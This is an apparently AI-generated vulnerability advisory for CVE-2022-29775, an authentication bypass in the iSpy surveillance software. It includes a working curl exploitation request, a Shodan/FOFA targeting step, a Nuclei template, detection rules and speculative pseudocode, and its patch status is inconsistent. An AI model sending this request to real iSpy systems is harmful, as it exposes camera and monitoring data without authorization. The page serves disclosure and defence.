CVE-2022-29775
Executive Summary
CVE-2022-29775 is a critical authentication bypass vulnerability affecting iSpy v7.2.2.0, a surveillance and remote monitoring software developed by iSpyConnect. The flaw allows an unauthenticated attacker to bypass authentication mechanisms by crafting a specially designed URL, potentially leading to unauthorized access to sensitive information, data modification, or execution of unauthorized operations. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and is classified under CWE-287 (Improper Authentication). Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of exploitation. No official patch has been confirmed by the vendor, but upgrading to version 7.2.2.1 or higher is recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No victim action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – Full disclosure of sensitive data.
- Integrity Impact: High (I:H) – Data can be modified.
- Availability Impact: High (A:H) – Potential denial of service or system compromise.
Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this vulnerability highly attractive to attackers. The public availability of PoC and detection rules further elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the authentication mechanism of iSpy v7.2.2.0. By sending a GET request to a specific endpoint (e.g., /logfile?d=crossdomain.xml), an attacker can bypass authentication checks. The server does not properly validate the user's session or identity before serving sensitive log files or performing actions. This allows an unauthenticated attacker to access internal logs, configuration data, or other protected resources.
The root cause is improper handling of URL parameters and insufficient access control checks. The application likely trusts the request path or query string without verifying the user's authentication state, leading to an authentication bypass.
Vulnerable vs. Patched Code
Vulnerable Code (iSpy v7.2.2.0):
The vulnerable version lacks proper authentication checks for certain endpoints. For example, the /logfile endpoint may serve log files without verifying the user's session.
# Pseudocode of vulnerable logic
@app.route('/logfile')
def get_logfile():
# No authentication check
d = request.args.get('d')
return send_file(d)
Patched Code (iSpy v7.2.2.1 or higher): The patched version introduces authentication verification before serving sensitive resources.
# Pseudocode of patched logic
@app.route('/logfile')
def get_logfile():
if not is_authenticated():
return "Unauthorized", 401
d = request.args.get('d')
return send_file(d)
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running iSpy v7.2.2.0
- Network access to the iSpy web interface (default port 80 or 443)
Exploitation Steps:
- Identify the target iSpy instance (e.g., via Shodan or FOFA).
- Send a crafted GET request to the vulnerable endpoint:
curl -v "http://target-ip:port/logfile?d=crossdomain.xml" - If successful, the server responds with log file contents, confirming authentication bypass.
Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html
Log Start
Log File
iSpy
...
Blue Team (Detection & Response)
Detection:
- Monitor for GET requests to
/logfileor similar endpoints from unauthenticated sources. - Look for anomalous access patterns, especially from external IPs.
Response:
- Immediately isolate affected systems.
- Review logs for unauthorized access.
- Apply the patch (upgrade to v7.2.2.1 or higher) or implement compensating controls (e.g., WAF rules to block
/logfileaccess).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/logfile?d=crossdomain.xml - Source IPs not in the trusted whitelist accessing the iSpy web interface
- HTTP GET requests to
- File IOCs:
- Unauthorized access to log files (e.g.,
crossdomain.xmlor other sensitive files)
- Unauthorized access to log files (e.g.,
- Behavioral IOCs:
- Multiple failed authentication attempts followed by successful access to restricted endpoints
Detection Engineering
YARA Rule
rule CVE_2022_29775_iSpy_AuthBypass {
meta:
description = "Detects iSpy authentication bypass attempts via crafted URL"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-29775"
strings:
$log_start = "Log Start"
$log_file = "Log File"
$ispy = "iSpy"
condition:
all of them
}
Sigma Rule
title: iSpy Authentication Bypass via Crafted URL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to /logfile endpoint indicating CVE-2022-29775 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-stem: '/logfile'
cs-uri-query: 'd=crossdomain.xml'
condition: selection
falsepositives:
- Legitimate administrative access (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-29775 iSpy Authentication Bypass"; flow:to_server,established; content:"GET"; http_method; content:"/logfile"; http_uri; content:"d=crossdomain.xml"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2022-29775
info:
name: iSpy 7.2.2.0 - Authentication Bypass
author: arafatansari
severity: critical
description: |
iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
remediation: |
Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability.
reference:
- https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b
- https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775
- https://nvd.nist.gov/vuln/detail/CVE-2022-29775
- https://github.com/securylight/CVES_write_ups
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29775
cwe-id: CWE-287
epss-score: 0.63894
epss-percentile: 0.98436
cpe: cpe:2.3:a:ispyconnect:ispy:7.2.2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ispyconnect
product: ispy
shodan-query:
- http.html:"iSpy is running"
- http.html:"ispy is running"
fofa-query: body="ispy is running"
tags: cve,cve2022,ispy,auth-bypass,ispyconnect,vuln
http:
- method: GET
path:
- '{{BaseURL}}/logfile?d=crossdomain.xml'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Log Start'
- 'Log File'
- 'iSpy'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Upgrade iSpy to version 7.2.2.1 or higher if available. If no official patch exists, consider isolating the system or disabling the web interface.
- Implement WAF Rules: Block requests to
/logfileand similar endpoints from untrusted sources. - Network Segmentation: Place iSpy instances behind a firewall and restrict access to trusted IPs only.
Long-Term Measures:
- Regularly update all software components.
- Conduct security audits and penetration testing.
- Monitor for new CVEs and apply patches promptly.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: E2A35120AA85AF4F2A6DF412] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.